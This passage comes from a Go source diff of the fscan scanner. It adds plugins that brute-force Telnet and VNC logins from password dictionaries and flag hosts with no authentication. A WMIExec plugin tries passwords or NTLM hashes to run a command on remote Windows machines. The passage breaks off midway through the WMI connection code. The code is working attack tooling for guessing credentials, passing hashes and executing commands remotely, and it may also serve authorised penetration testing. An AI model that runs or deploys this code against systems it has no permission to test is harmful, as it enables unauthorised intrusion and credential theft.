||||
"time"
|
||||
)
|
||||
|
||||
// TelnetScan 执行Telnet服务扫描和密码爆破
|
||||
func TelnetScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalUsers := len(Common.Userdict["telnet"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["telnet"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
noAuth bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := telnetConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
noAuth bool
|
||||
err error
|
||||
}{err == nil, flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.noAuth {
|
||||
// 无需认证
|
||||
msg := fmt.Sprintf("Telnet服务 %s 无需认证", target)
|
||||
Common.LogSuccess(msg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "telnet",
|
||||
"type": "unauthorized-access",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
|
||||
} else if result.success {
|
||||
// 成功爆破
|
||||
msg := fmt.Sprintf("Telnet服务 %s 用户名:%v 密码:%v", target, user, pass)
|
||||
Common.LogSuccess(msg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "telnet",
|
||||
"type": "weak-password",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("Telnet连接失败 %s 用户名:%v 密码:%v 错误:%v",
|
||||
target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// telnetConn 尝试建立Telnet连接并进行身份验证
|
||||
func telnetConn(info *Common.HostInfo, user, pass string) (flag bool, err error) {
|
||||
client := NewTelnet(info.Host, info.Ports)
|
||||
|
||||
if err = client.Connect(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
client.UserName = user
|
||||
client.Password = pass
|
||||
client.ServerType = client.MakeServerType()
|
||||
|
||||
if client.ServerType == UnauthorizedAccess {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
err = client.Login()
|
||||
return false, err
|
||||
}
|
||||
|
||||
const (
|
||||
// 写入操作后的延迟时间
|
||||
TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond
|
||||
|
||||
// Telnet基础控制字符
|
||||
IAC = byte(255) // 解释为命令(Interpret As Command)
|
||||
DONT = byte(254) // 请求对方停止执行某选项
|
||||
DO = byte(253) // 请求对方执行某选项
|
||||
WONT = byte(252) // 拒绝执行某选项
|
||||
WILL = byte(251) // 同意执行某选项
|
||||
|
||||
// 子协商相关控制字符
|
||||
SB = byte(250) // 子协商开始(Subnegotiation Begin)
|
||||
SE = byte(240) // 子协商结束(Subnegotiation End)
|
||||
|
||||
// 特殊功能字符
|
||||
NULL = byte(0) // 空字符
|
||||
EOF = byte(236) // 文档结束
|
||||
SUSP = byte(237) // 暂停进程
|
||||
ABORT = byte(238) // 停止进程
|
||||
REOR = byte(239) // 记录结束
|
||||
|
||||
// 控制操作字符
|
||||
NOP = byte(241) // 无操作
|
||||
DM = byte(242) // 数据标记
|
||||
BRK = byte(243) // 中断
|
||||
IP = byte(244) // 中断进程
|
||||
AO = byte(245) // 终止输出
|
||||
AYT = byte(246) // 在线确认
|
||||
EC = byte(247) // 擦除字符
|
||||
EL = byte(248) // 擦除行
|
||||
GA = byte(249) // 继续进行
|
||||
|
||||
// Telnet协议选项代码 (来自arpa/telnet.h)
|
||||
BINARY = byte(0) // 8位数据通道
|
||||
ECHO = byte(1) // 回显
|
||||
RCP = byte(2) // 准备重新连接
|
||||
SGA = byte(3) // 禁止继续
|
||||
NAMS = byte(4) // 近似消息大小
|
||||
STATUS = byte(5) // 状态查询
|
||||
TM = byte(6) // 时间标记
|
||||
RCTE = byte(7) // 远程控制传输和回显
|
||||
|
||||
// 输出协商选项
|
||||
NAOL = byte(8) // 输出行宽度协商
|
||||
NAOP = byte(9) // 输出页面大小协商
|
||||
NAOCRD = byte(10) // 回车处理协商
|
||||
NAOHTS = byte(11) // 水平制表符停止协商
|
||||
NAOHTD = byte(12) // 水平制表符处理协商
|
||||
NAOFFD = byte(13) // 换页符处理协商
|
||||
NAOVTS = byte(14) // 垂直制表符停止协商
|
||||
NAOVTD = byte(15) // 垂直制表符处理协商
|
||||
NAOLFD = byte(16) // 换行符处理协商
|
||||
|
||||
// 扩展功能选项
|
||||
XASCII = byte(17) // 扩展ASCII字符集
|
||||
LOGOUT = byte(18) // 强制登出
|
||||
BM = byte(19) // 字节宏
|
||||
DET = byte(20) // 数据输入终端
|
||||
SUPDUP = byte(21) // SUPDUP协议
|
||||
SUPDUPOUTPUT = byte(22) // SUPDUP输出
|
||||
SNDLOC = byte(23) // 发送位置
|
||||
|
||||
// 终端相关选项
|
||||
TTYPE = byte(24) // 终端类型
|
||||
EOR = byte(25) // 记录结束
|
||||
TUID = byte(26) // TACACS用户识别
|
||||
OUTMRK = byte(27) // 输出标记
|
||||
TTYLOC = byte(28) // 终端位置编号
|
||||
VT3270REGIME = byte(29) // 3270体制
|
||||
|
||||
// 通信控制选项
|
||||
X3PAD = byte(30) // X.3 PAD
|
||||
NAWS = byte(31) // 窗口大小
|
||||
TSPEED = byte(32) // 终端速度
|
||||
LFLOW = byte(33) // 远程流控制
|
||||
LINEMODE = byte(34) // 行模式选项
|
||||
|
||||
// 环境与认证选项
|
||||
XDISPLOC = byte(35) // X显示位置
|
||||
OLD_ENVIRON = byte(36) // 旧环境变量
|
||||
AUTHENTICATION = byte(37) // 认证
|
||||
ENCRYPT = byte(38) // 加密选项
|
||||
NEW_ENVIRON = byte(39) // 新环境变量
|
||||
|
||||
// IANA分配的额外选项
|
||||
// http://www.iana.org/assignments/telnet-options
|
||||
TN3270E = byte(40) // TN3270E
|
||||
XAUTH = byte(41) // XAUTH
|
||||
CHARSET = byte(42) // 字符集
|
||||
RSP = byte(43) // 远程串行端口
|
||||
COM_PORT_OPTION = byte(44) // COM端口控制
|
||||
SUPPRESS_LOCAL_ECHO = byte(45) // 禁止本地回显
|
||||
TLS = byte(46) // 启动TLS
|
||||
KERMIT = byte(47) // KERMIT协议
|
||||
SEND_URL = byte(48) // 发送URL
|
||||
FORWARD_X = byte(49) // X转发
|
||||
|
||||
// 特殊用途选项
|
||||
PRAGMA_LOGON = byte(138) // PRAGMA登录
|
||||
SSPI_LOGON = byte(139) // SSPI登录
|
||||
PRAGMA_HEARTBEAT = byte(140) // PRAGMA心跳
|
||||
EXOPL = byte(255) // 扩展选项列表
|
||||
NOOPT = byte(0) // 无选项
|
||||
)
|
||||
|
||||
// 服务器类型常量定义
|
||||
const (
|
||||
Closed = iota // 连接关闭
|
||||
UnauthorizedAccess // 无需认证
|
||||
OnlyPassword // 仅需密码
|
||||
UsernameAndPassword // 需要用户名和密码
|
||||
)
|
||||
|
||||
// TelnetClient Telnet客户端结构体
|
||||
type TelnetClient struct {
|
||||
IPAddr string // 服务器IP地址
|
||||
Port string // 服务器端口
|
||||
UserName string // 用户名
|
||||
Password string // 密码
|
||||
conn net.Conn // 网络连接
|
||||
LastResponse string // 最近一次响应内容
|
||||
ServerType int // 服务器类型
|
||||
}
|
||||
|
||||
// NewTelnet 创建新的Telnet客户端实例
|
||||
func NewTelnet(addr, port string) *TelnetClient {
|
||||
return &TelnetClient{
|
||||
IPAddr: addr,
|
||||
Port: port,
|
||||
UserName: "",
|
||||
Password: "",
|
||||
conn: nil,
|
||||
LastResponse: "",
|
||||
ServerType: Closed,
|
||||
}
|
||||
}
|
||||
|
||||
// Connect 建立Telnet连接
|
||||
func (c *TelnetClient) Connect() error {
|
||||
// 建立TCP连接,超时时间5秒
|
||||
conn, err := net.DialTimeout("tcp", c.Netloc(), 5*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
c.conn = conn
|
||||
|
||||
// 启动后台goroutine处理服务器响应
|
||||
go func() {
|
||||
for {
|
||||
// 读取服务器响应
|
||||
buf, err := c.read()
|
||||
if err != nil {
|
||||
// 处理连接关闭和EOF情况
|
||||
if strings.Contains(err.Error(), "closed") ||
|
||||
strings.Contains(err.Error(), "EOF") {
|
||||
break
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
// 处理响应数据
|
||||
displayBuf, commandList := c.SerializationResponse(buf)
|
||||
|
||||
if len(commandList) > 0 {
|
||||
// 有命令需要回复
|
||||
replyBuf := c.MakeReplyFromList(commandList)
|
||||
c.LastResponse += string(displayBuf)
|
||||
_ = c.write(replyBuf)
|
||||
} else {
|
||||
// 仅保存显示内容
|
||||
c.LastResponse += string(displayBuf)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待连接初始化完成
|
||||
time.Sleep(time.Second * 3)
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteContext 写入数据到Telnet连接
|
||||
func (c *TelnetClient) WriteContext(s string) {
|
||||
// 写入字符串并添加回车及空字符
|
||||
_ = c.write([]byte(s + "\x0d\x00"))
|
||||
}
|
||||
|
||||
// ReadContext 读取Telnet连接返回的内容
|
||||
func (c *TelnetClient) ReadContext() string {
|
||||
// 读取完成后清空缓存
|
||||
defer func() { c.Clear() }()
|
||||
|
||||
// 等待响应
|
||||
if c.LastResponse == "" {
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
|
||||
// 处理特殊字符
|
||||
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "")
|
||||
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n")
|
||||
|
||||
return c.LastResponse
|
||||
}
|
||||
|
||||
// Netloc 获取网络地址字符串
|
||||
func (c *TelnetClient) Netloc() string {
|
||||
return fmt.Sprintf("%s:%s", c.IPAddr, c.Port)
|
||||
}
|
||||
|
||||
// Close 关闭Telnet连接
|
||||
func (c *TelnetClient) Close() {
|
||||
c.conn.Close()
|
||||
}
|
||||
|
||||
// SerializationResponse 解析Telnet响应数据
|
||||
func (c *TelnetClient) SerializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) {
|
||||
for {
|
||||
// 查找IAC命令标记
|
||||
index := bytes.IndexByte(responseBuf, IAC)
|
||||
if index == -1 || len(responseBuf)-index < 2 {
|
||||
displayBuf = append(displayBuf, responseBuf...)
|
||||
break
|
||||
}
|
||||
|
||||
// 获取选项字符
|
||||
ch := responseBuf[index+1]
|
||||
|
||||
// 处理连续的IAC
|
||||
if ch == IAC {
|
||||
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||
responseBuf = responseBuf[index+1:]
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理DO/DONT/WILL/WONT命令
|
||||
if ch == DO || ch == DONT || ch == WILL || ch == WONT {
|
||||
commandBuf := responseBuf[index : index+3]
|
||||
commandList = append(commandList, commandBuf)
|
||||
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||
responseBuf = responseBuf[index+3:]
|
||||
continue
|
||||
}
|
||||
|
||||
// 处理子协商命令
|
||||
if ch == SB {
|
||||
displayBuf = append(displayBuf, responseBuf[:index]...)
|
||||
seIndex := bytes.IndexByte(responseBuf, SE)
|
||||
commandList = append(commandList, responseBuf[index:seIndex])
|
||||
responseBuf = responseBuf[seIndex+1:]
|
||||
continue
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
|
||||
return displayBuf, commandList
|
||||
}
|
||||
|
||||
// MakeReplyFromList 处理命令列表并生成回复
|
||||
func (c *TelnetClient) MakeReplyFromList(list [][]byte) []byte {
|
||||
var reply []byte
|
||||
for _, command := range list {
|
||||
reply = append(reply, c.MakeReply(command)...)
|
||||
}
|
||||
return reply
|
||||
}
|
||||
|
||||
// MakeReply 根据命令生成对应的回复
|
||||
func (c *TelnetClient) MakeReply(command []byte) []byte {
|
||||
// 命令至少需要3字节
|
||||
if len(command) < 3 {
|
||||
return []byte{}
|
||||
}
|
||||
|
||||
verb := command[1] // 动作类型
|
||||
option := command[2] // 选项码
|
||||
|
||||
// 处理回显(ECHO)和抑制继续进行(SGA)选项
|
||||
if option == ECHO || option == SGA {
|
||||
switch verb {
|
||||
case DO:
|
||||
return []byte{IAC, WILL, option}
|
||||
case DONT:
|
||||
return []byte{IAC, WONT, option}
|
||||
case WILL:
|
||||
return []byte{IAC, DO, option}
|
||||
case WONT:
|
||||
return []byte{IAC, DONT, option}
|
||||
case SB:
|
||||
// 处理子协商命令
|
||||
// 命令格式: IAC + SB + option + modifier + IAC + SE
|
||||
if len(command) >= 4 {
|
||||
modifier := command[3]
|
||||
if modifier == ECHO {
|
||||
return []byte{IAC, SB, option, BINARY, IAC, SE}
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// 处理其他选项 - 拒绝所有请求
|
||||
switch verb {
|
||||
case DO, DONT:
|
||||
return []byte{IAC, WONT, option}
|
||||
case WILL, WONT:
|
||||
return []byte{IAC, DONT, option}
|
||||
}
|
||||
}
|
||||
|
||||
return []byte{}
|
||||
}
|
||||
|
||||
// read 从Telnet连接读取数据
|
||||
func (c *TelnetClient) read() ([]byte, error) {
|
||||
var buf [2048]byte
|
||||
n, err := c.conn.Read(buf[0:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf[:n], nil
|
||||
}
|
||||
|
||||
// write 向Telnet连接写入数据
|
||||
func (c *TelnetClient) write(buf []byte) error {
|
||||
// 设置写入超时
|
||||
_ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3))
|
||||
|
||||
_, err := c.conn.Write(buf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Login 根据服务器类型执行登录
|
||||
func (c *TelnetClient) Login() error {
|
||||
switch c.ServerType {
|
||||
case Closed:
|
||||
return errors.New("service is disabled")
|
||||
case UnauthorizedAccess:
|
||||
return nil
|
||||
case OnlyPassword:
|
||||
return c.loginForOnlyPassword()
|
||||
case UsernameAndPassword:
|
||||
return c.loginForUsernameAndPassword()
|
||||
default:
|
||||
return errors.New("unknown server type")
|
||||
}
|
||||
}
|
||||
|
||||
// MakeServerType 通过分析服务器响应判断服务器类型
|
||||
func (c *TelnetClient) MakeServerType() int {
|
||||
responseString := c.ReadContext()
|
||||
response := strings.Split(responseString, "\n")
|
||||
lastLine := strings.ToLower(response[len(response)-1])
|
||||
|
||||
// 检查是否需要用户名和密码
|
||||
if containsAny(lastLine, []string{"user", "name", "login", "account", "用户名", "登录"}) {
|
||||
return UsernameAndPassword
|
||||
}
|
||||
|
||||
// 检查是否只需要密码
|
||||
if strings.Contains(lastLine, "pass") {
|
||||
return OnlyPassword
|
||||
}
|
||||
|
||||
// 检查是否无需认证的情况
|
||||
if isNoAuthRequired(lastLine) || c.isLoginSucceed(responseString) {
|
||||
return UnauthorizedAccess
|
||||
}
|
||||
|
||||
return Closed
|
||||
}
|
||||
|
||||
// 辅助函数:检查字符串是否包含任意给定子串
|
||||
func containsAny(s string, substrings []string) bool {
|
||||
for _, sub := range substrings {
|
||||
if strings.Contains(s, sub) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// 辅助函数:检查是否无需认证
|
||||
func isNoAuthRequired(line string) bool {
|
||||
patterns := []string{
|
||||
`^/ #.*`,
|
||||
`^<[A-Za-z0-9_]+>`,
|
||||
`^#`,
|
||||
}
|
||||
|
||||
for _, pattern := range patterns {
|
||||
if regexp.MustCompile(pattern).MatchString(line) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// loginForOnlyPassword 处理只需密码的登录
|
||||
func (c *TelnetClient) loginForOnlyPassword() error {
|
||||
c.Clear() // 清空之前的响应
|
||||
|
||||
// 发送密码并等待响应
|
||||
c.WriteContext(c.Password)
|
||||
time.Sleep(time.Second * 3)
|
||||
|
||||
// 验证登录结果
|
||||
responseString := c.ReadContext()
|
||||
if c.isLoginFailed(responseString) {
|
||||
return errors.New("login failed")
|
||||
}
|
||||
if c.isLoginSucceed(responseString) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return errors.New("login failed")
|
||||
}
|
||||
|
||||
// loginForUsernameAndPassword 处理需要用户名和密码的登录
|
||||
func (c *TelnetClient) loginForUsernameAndPassword() error {
|
||||
// 发送用户名
|
||||
c.WriteContext(c.UserName)
|
||||
time.Sleep(time.Second * 3)
|
||||
c.Clear()
|
||||
|
||||
// 发送密码
|
||||
c.WriteContext(c.Password)
|
||||
time.Sleep(time.Second * 5)
|
||||
|
||||
// 验证登录结果
|
||||
responseString := c.ReadContext()
|
||||
if c.isLoginFailed(responseString) {
|
||||
return errors.New("login failed")
|
||||
}
|
||||
if c.isLoginSucceed(responseString) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return errors.New("login failed")
|
||||
}
|
||||
|
||||
// Clear 清空最近一次响应
|
||||
func (c *TelnetClient) Clear() {
|
||||
c.LastResponse = ""
|
||||
}
|
||||
|
||||
// 登录失败的关键词列表
|
||||
var loginFailedString = []string{
|
||||
"wrong",
|
||||
"invalid",
|
||||
"fail",
|
||||
"incorrect",
|
||||
"error",
|
||||
}
|
||||
|
||||
// isLoginFailed 检查是否登录失败
|
||||
func (c *TelnetClient) isLoginFailed(responseString string) bool {
|
||||
responseString = strings.ToLower(responseString)
|
||||
|
||||
// 空响应视为失败
|
||||
if responseString == "" {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查失败关键词
|
||||
for _, str := range loginFailedString {
|
||||
if strings.Contains(responseString, str) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 检查是否仍在要求输入凭证
|
||||
patterns := []string{
|
||||
"(?is).*pass(word)?:$",
|
||||
"(?is).*user(name)?:$",
|
||||
"(?is).*login:$",
|
||||
}
|
||||
for _, pattern := range patterns {
|
||||
if regexp.MustCompile(pattern).MatchString(responseString) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// isLoginSucceed 检查是否登录成功
|
||||
func (c *TelnetClient) isLoginSucceed(responseString string) bool {
|
||||
// 获取最后一行响应
|
||||
lines := strings.Split(responseString, "\n")
|
||||
lastLine := lines[len(lines)-1]
|
||||
|
||||
// 检查命令提示符
|
||||
if regexp.MustCompile("^[#$].*").MatchString(lastLine) ||
|
||||
regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查last login信息
|
||||
if regexp.MustCompile("(?:s)last login").MatchString(responseString) {
|
||||
return true
|
||||
}
|
||||
|
||||
// 发送测试命令验证
|
||||
c.Clear()
|
||||
c.WriteContext("?")
|
||||
time.Sleep(time.Second * 3)
|
||||
responseString = c.ReadContext()
|
||||
|
||||
// 检查响应长度
|
||||
if strings.Count(responseString, "\n") > 6 || len([]rune(responseString)) > 100 {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
132
Plugins/VNC.go
Normal file
132
Plugins/VNC.go
Normal file
@ -0,0 +1,132 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/mitchellh/go-vnc"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
func VncScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
modename := "vnc"
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", totalPass))
|
||||
|
||||
tried := 0
|
||||
|
||||
// 遍历所有密码
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", tried, totalPass, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retryCount+1, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(pass string) {
|
||||
success, err := VncConn(info, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("%s://%s 密码: %v", modename, target, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "vnc",
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("%s://%s 尝试密码: %v 错误: %v",
|
||||
modename, target, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// VncConn 尝试建立VNC连接
|
||||
func VncConn(info *Common.HostInfo, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port := info.Host, info.Ports
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port),
|
||||
time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 配置VNC客户端
|
||||
config := &vnc.ClientConfig{
|
||||
Auth: []vnc.ClientAuth{
|
||||
&vnc.PasswordAuth{
|
||||
Password: pass,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// 尝试VNC认证
|
||||
client, err := vnc.Client(conn, config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
flag = true
|
||||
}
|
||||
|
||||
return
|
||||
}
|
185
Plugins/WMIExec.go
Normal file
185
Plugins/WMIExec.go
Normal file
@ -0,0 +1,185 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/go-ole/go-ole"
|
||||
"github.com/go-ole/go-ole/oleutil"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
ClientHost string
|
||||
flag bool
|
||||
)
|
||||
|
||||
func init() {
|
||||
if flag {
|
||||
return
|
||||
}
|
||||
clientHost, err := os.Hostname()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
ClientHost = clientHost
|
||||
flag = true
|
||||
}
|
||||
|
||||
func WmiExec(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 执行WMI连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := Wmiexec(info, user, pass, Common.HashValue)
|
||||
done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success {
|
||||
// 成功连接
|
||||
var successLog string
|
||||
if Common.Domain != "" {
|
||||
successLog = fmt.Sprintf("WmiExec %v:%v:%v\\%v ",
|
||||
info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
successLog = fmt.Sprintf("WmiExec %v:%v:%v ",
|
||||
info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
if Common.HashValue != "" {
|
||||
successLog += "hash: " + Common.HashValue
|
||||
} else {
|
||||
successLog += pass
|
||||
}
|
||||
Common.LogSuccess(successLog)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("WmiExec %v:%v %v %v %v",
|
||||
info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
Common.LogError(errlog)
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
|
||||
// 如果是32位hash值,只尝试一次密码
|
||||
if len(Common.HashValue) == 32 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command)
|
||||
}
|
||||
|
||||
func WMIExec(target, username, password, hash, domain, command string) (flag bool, err error) {
|
||||
err = ole.CoInitialize(0)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer ole.CoUninitialize()
|
||||
|
||||
// 构建认证字符串
|
||||
var auth string
|
||||
if domain != "" {
|
||||
auth = fmt.Sprintf("%s\\%s:%s", domain, username, password)
|
||||
} else {
|
||||
auth = fmt.Sprintf("%s:%s", username, password)
|
||||
}
|
||||
|
||||
// 构建WMI连接字符串
|
||||
connectStr := fmt.Sprintf("winmgmts://%s@%s/root/cimv2", auth, target)
|
||||
|
||||
unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator")
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer unknown.Release()
|
||||
|
||||
wmi, err := unknown.QueryInterface(ole.IID_IDispatch)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer wmi.Release()
|
||||
|
||||
// 使用connectStr来建立连接
|
||||
service, err := oleutil.CallMethod(wmi, "ConnectServer", "", connectStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer service.Clear()
|
||||
|
||||
